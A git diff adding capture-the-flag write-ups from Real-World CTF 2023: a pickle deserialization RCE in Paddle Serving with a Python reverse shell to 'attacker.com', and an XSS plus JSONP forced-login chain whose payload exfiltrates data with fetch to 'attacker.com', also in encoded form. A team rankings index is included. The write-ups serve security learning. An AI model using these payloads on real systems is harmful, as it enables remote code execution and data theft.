+ + diff --git a/rwctf-2023/web/paddle.md b/rwctf-2023/web/paddle.md new file mode 100755 index 0000000..3ef7e36 --- /dev/null +++ b/rwctf-2023/web/paddle.md @@ -0,0 +1,95 @@ +# Paddle + +**Tags**: Clone-and-Pwn, web + +> Flexible to serve ML models, and more. + +For this challenge, we are given a Dockerfile that installs the latest version of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the built-in demo. + +```Dockerfile +FROM python:3.6-slim +RUN apt-get update && \ + apt-get install libgomp1 && \ + rm -rf /var/lib/apt/lists/* +RUN pip install \ + paddle-serving-server==0.9.0 \ + paddle-serving-client==0.9.0 \ + paddle-serving-app==0.9.0 \ + paddlepaddle==2.3.0 +WORKDIR /usr/local/lib/python3.6/site-packages/paddle_serving_server/env_check/simple_web_service +RUN cp config_cpu.yml config.yml +RUN echo "rwctf{this is flag}" > /flag +CMD ["python", "web_service.py"] +``` + +Looking at the codebase, we can find Pickle deserialization in the [`python/pipeline/operator.py`](https://github.com/PaddlePaddle/Serving/blob/v0.9.0/python/pipeline/operator.py) file. So if can control the `tensor` argument of `proto_tensor_2_numpy`, we can get RCE. + +This method is called in `unpack_request_package` and because `Op` is the supertype of all the operator classes, it will get called when the server processes our request. + +```python +class Op(object): + def proto_tensor_2_numpy(self, tensor): + # [...] + elif tensor.elem_type == 13: + # VarType: BYTES + byte_data = BytesIO(tensor.byte_data) + np_data = np.load(byte_data, allow_pickle=True) + # [...] + + def unpack_request_package(self, request): + # [...] + for one_tensor in request.tensors: + name = one_tensor.name + elem_type = one_tensor.elem_type + + # [...] + + numpy_dtype = _TENSOR_DTYPE_2_NUMPY_DATA_DTYPE.get(elem_type) + + if numpy_dtype == "string": + # [...] + else: + np_data, np_lod = self.proto_tensor_2_numpy(one_tensor) + dict_data[name] = np_data + if np_lod is not None: + dict_data[name + ".lod"] = np_lod + +``` + +So `request` should contain: +```json +{ + "tensors": [ + { + "name": ":psyduck:", + "elem_type": 13, + "byte_data": "pickled data" + } + ] +} +``` + +Where pickled data can be generated with the classic Pickle RCE payload: +```python +import pickle +import base64 + +reverse_shell = """export RHOST="attacker.com";export RPORT=1337;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'""" + +class PickleRce(object): + def __reduce__(self): + import os + return (os.system,(reverse_shell,)) + +print(base64.b64encode(pickle.dumps(PickleRce()))) +``` + +So finally we can send the exploit to get a reverse shell: +```sh +curl -v http://47.88.23.73:37068/uci/prediction -d '{"tensors": [{"name": ":psyduck:", "elem_type": 13, "byte_data": "gANjcG9z..."}]}' +``` + +```sh +cat /flag +``` +> `rwctf{R0ck5-with-PaddLe-s3rv3r}` diff --git a/rwctf-2023/web/the-cult-of-8-bit.html b/rwctf-2023/web/the-cult-of-8-bit.html new file mode 100755 index 0000000..8f827e7 --- /dev/null +++ b/rwctf-2023/web/the-cult-of-8-bit.html @@ -0,0 +1,298 @@ + + + + + +the cult of 8 bit | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

the cult of 8 bit

+ +

Authors: sam.ninja and pilvar

+ +

Tags: web

+ +
+

Valentina is trapped in the 8-bit cult, will you be able to find the secret and free her?

+
+ +

XSS in a user’s todo list

+

If the value of the todo list gets parsed as a valid URL, it will be rendered in the href attribute of an <a>. Because the value isn’t wrapped in quotes, it is possible to inject HTML attributes to achieve XSS.

+
let isURL = false;
+try {
+    new URL(text); // errors if not valid URL
+    isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
+} catch {}
+
+
<%_ if (todo.isURL) { _%>
+  <li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
+
+

We achieved XSS using this URL: https://org.anize.rs/%0astyle=animation-name:spinAround%0aonanimationstart=alert(1)//

+ +

Unfortunately, the todo list is only visible to the user that created it, so we need to find a way to make the bot login as our user.

+ +

Forcing the bot to login as another user

+

Now we want to make the XSS bot login as another user that contains the XSS payload.

+ +

The login page is protected by a CSRF token, so we can’t just send POST a form to the login endpoint. We can however call a single function in the context of the challenge by injecting a different JSONP callback through the id query parameter.

+
const id = new URLSearchParams(window.location.search).get('id');
+// Load post from POST_SERVER
+// Since POST_SERVER might be a different origin, this also supports loading data through JSONP
+const request = new XMLHttpRequest();
+try {
+    request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false);
+    request.send(null);
+}
+catch (err) { // POST_SERVER is on another origin, so let's use JSONP
+    let script = document.createElement("script");
+    script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
+    document.head.appendChild(script);
+    return;
+}
+
+ +

For example, /post/?id=x%3Fcallback=alert%26x=%00 will call alert(postContentObject). Note that we don’t control the format of the argument, it will always be a JavaScript object, so a method expecting a string will convert it into [object Object].

+ +

So now we want to keep an old page open to preserve the flag id, logout the admin bot, make it go to the login page, fill in the username and password and click on the login button.

+ +

Logging out is easy because there is a logout button on the post page, so we can access it by traversing the DOM document.childNodes[x].childNodes[y].click().

+ +

For the other actions, we need to reference the login window from the post page. The only possible reference is window.opener, so from the exploit page will need to redirect to the login page after opening the child windows that will perform the actions.

+ +

Here is the full exploit to login as user [object Object] with password [object Object]:

+
<script>
+  function sleep(ms) {
+    return new Promise(resolve => setTimeout(resolve, ms));
+  }
+
+  async function exploit() {
+    const challURL = "http://localhost:12345"
+    
+    // load original page that contains the flag ID
+    // we specify a name so we can later get a reference to it by calling window.open("", "flag")
+    window.open(challURL + "/", "flag")
+    await sleep(100)
+
+    // logout
+    window.open(challURL + "/post/?id=x%3Fcallback=document.childNodes[0].childNodes[2].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[1].click%26x=%00")
+    await sleep(1000)
+
+    // set username to [object Object]
+    window.open(challURL + "/post/?id=x%3Fcallback=window.opener.document.childNodes[0].childNodes[2].childNodes[3].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[1].childNodes[3].childNodes[1].setRangeText%26x=%00")
+    // set password to [object Object]
+    window.open(challURL + "/post/?id=x%3Fcallback=window.opener.document.childNodes[0].childNodes[2].childNodes[3].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[3].childNodes[3].childNodes[1].setRangeText%26x=%00")
+
+    // click login
+    window.open(challURL + "/post/?id=x%3Fcallback=window.opener.document.childNodes[0].childNodes[2].childNodes[3].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[7].childNodes[1].childNodes[1].click%26x=%00")
+
+    // redirect to login page so it can be accessed with window.opener
+    location.href = challURL + "/login"
+  }
+
+  exploit();
+</script>
+
+ +

Getting the flag

+

Before logging out, we opened a page that contains the flag ID. So we can now get a reference to it by calling window.open("", "flag"). And because we are now in the same origin, we can access it’s DOM, get the flag ID and exfiltrate it.

+
fetch("https://attacker.com/"+window.open("", "flag").document.querySelector(".content a").innerText)
+
+ +

We cannot have quotes in the XSS payload, so we encode it in ASCII and then decode and evaluate it in JavaScript:

+
https://google.com/%0Astyle=animation-name:spinAround%0Aonanimationstart=eval(String.fromCharCode(102,101,116,99,104,40,34,104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,99,111,109,47,34,43,119,105,110,100,111,119,46,111,112,101,110,40,34,34,44,32,34,102,108,97,103,34,41,46,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,34,46,99,111,110,116,101,110,116,32,97,34,41,46,105,110,110,101,114,84,101,120,116,41))//
+
+ +

Finally we add this to the todo list of [object Object] and make the bot visit our exploit page.

+ +

rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/web/the-cult-of-8-bit.md b/rwctf-2023/web/the-cult-of-8-bit.md new file mode 100755 index 0000000..7c693dc --- /dev/null +++ b/rwctf-2023/web/the-cult-of-8-bit.md @@ -0,0 +1,103 @@ +# the cult of 8 bit + +**Authors**: [sam.ninja](https://sam.ninja) and [pilvar](https://twitter.com/pilvar222) + +**Tags**: web + +> Valentina is trapped in the 8-bit cult, will you be able to find the secret and free her? + +## XSS in a user's todo list +If the value of the todo list gets parsed as a valid URL, it will be rendered in the `href` attribute of an ``. Because the value isn't wrapped in quotes, it is possible to inject HTML attributes to achieve XSS. +```js +let isURL = false; +try { + new URL(text); // errors if not valid URL + isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no +} catch {} +``` +```html +<%_ if (todo.isURL) { _%> +
  • ><%= todo.text %>
  • +``` +We achieved XSS using this URL: `https://org.anize.rs/%0astyle=animation-name:spinAround%0aonanimationstart=alert(1)//` + +Unfortunately, the todo list is only visible to the user that created it, so we need to find a way to make the bot login as our user. + +## Forcing the bot to login as another user +Now we want to make the XSS bot login as another user that contains the XSS payload. + +The login page is protected by a CSRF token, so we can't just send POST a form to the login endpoint. We can however call a single function in the context of the challenge by injecting a different JSONP callback through the `id` query parameter. +```js +const id = new URLSearchParams(window.location.search).get('id'); +// Load post from POST_SERVER +// Since POST_SERVER might be a different origin, this also supports loading data through JSONP +const request = new XMLHttpRequest(); +try { + request.open('GET', POST_SERVER + `/api/post/` + encodeURIComponent(id), false); + request.send(null); +} +catch (err) { // POST_SERVER is on another origin, so let's use JSONP + let script = document.createElement("script"); + script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`; + document.head.appendChild(script); + return; +} +``` + +For example, `/post/?id=x%3Fcallback=alert%26x=%00` will call `alert(postContentObject)`. Note that we don't control the format of the argument, it will always be a JavaScript object, so a method expecting a string will convert it into `[object Object]`. + +So now we want to keep an old page open to preserve the flag id, logout the admin bot, make it go to the login page, fill in the username and password and click on the login button. + +Logging out is easy because there is a logout button on the post page, so we can access it by traversing the DOM `document.childNodes[x].childNodes[y].click()`. + +For the other actions, we need to reference the login window from the post page. The only possible reference is `window.opener`, so from the exploit page will need to redirect to the login page after opening the child windows that will perform the actions. + +Here is the full exploit to login as user `[object Object]` with password `[object Object]`: +```html + +``` + +## Getting the flag +Before logging out, we opened a page that contains the flag ID. So we can now get a reference to it by calling `window.open("", "flag")`. And because we are now in the same origin, we can access it's DOM, get the flag ID and exfiltrate it. +```js +fetch("https://attacker.com/"+window.open("", "flag").document.querySelector(".content a").innerText) +``` + +We cannot have quotes in the XSS payload, so we encode it in ASCII and then decode and evaluate it in JavaScript: +``` +https://google.com/%0Astyle=animation-name:spinAround%0Aonanimationstart=eval(String.fromCharCode(102,101,116,99,104,40,34,104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,99,111,109,47,34,43,119,105,110,100,111,119,46,111,112,101,110,40,34,34,44,32,34,102,108,97,103,34,41,46,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,34,46,99,111,110,116,101,110,116,32,97,34,41,46,105,110,110,101,114,84,101,120,116,41))// +``` + +Finally we add this to the todo list of `[object Object]` and make the bot visit our exploit page. + +`rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}` diff --git a/writeups/README.md b/writeups/README.md new file mode 100755 index 0000000..c3406c0 --- /dev/null +++ b/writeups/README.md @@ -0,0 +1,29 @@ +# Writeups + +## 2023 + +| CTF | Ranking | +|--------------------------------------|---------| +| [Real-World CTF 2023](../rwctf-2023) | 5th | + +## 2022 + +| CTF | Ranking | +|---------------------------------------------------------|---------| +| [HITCON CTF 2022](../HITCON-2022) | 1st | +| [SECCON CTF 2022](../SECCON-2022) | 1st | +| [CTFzone 2022](../CTFzone-2022/) | 2nd | +| [Google CTF 2022](../GCTF-2022) | 8th | +| [Codegate CTF 2022 Qualifiers](../Codegate-2022-quals/) | 1st | +| [DiceCTF 2022](../dicectf-2022/) | 1st | + +## 2021 + +| CTF | Ranking | +|----------------------------------------------|------------------------------| +| [SECCON CTF 2021](../SECCON-2021) | 2nd | +| [HITCON CTF 2021](../HITCON-2021) | 4th | +| [pbctf2021](../pbctf2021) | 3rd (or [1th](./pbctf.png)?) | +| [0CTF/TCTF 2021 Finals](../0CTF-2021-finals) | 1st | +| [corCTF 2021](../corCTF-2021) | 1st | +| [0CTF/TCTF 2021 Quals](../0CTF-2021) | 14th | diff --git a/writeups/index.html b/writeups/index.html new file mode 100755 index 0000000..98c225b --- /dev/null +++ b/writeups/index.html @@ -0,0 +1,291 @@ + + + + + +Writeups | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +

    Writeups

    + +

    2023

    + + + + + + + + + + + + + + +
    CTFRanking
    Real-World CTF 20235th
    + +

    2022

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CTFRanking
    HITCON CTF 20221st
    SECCON CTF 20221st
    CTFzone 20222nd
    Google CTF 20228th
    Codegate CTF 2022 Qualifiers1st
    DiceCTF 20221st
    + +

    2021

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CTFRanking
    SECCON CTF 20212nd
    HITCON CTF 20214th
    pbctf20213rd (or 1th?)
    0CTF/TCTF 2021 Finals1st
    corCTF 20211st
    0CTF/TCTF 2021 Quals14th
    + + + + + + +
    +
    +
    + + + + + + +
    + + diff --git a/writeups/pbctf.png b/writeups/pbctf.png new file mode 100755 index 0000000..75750b5 Binary files /dev/null and b/writeups/pbctf.png differ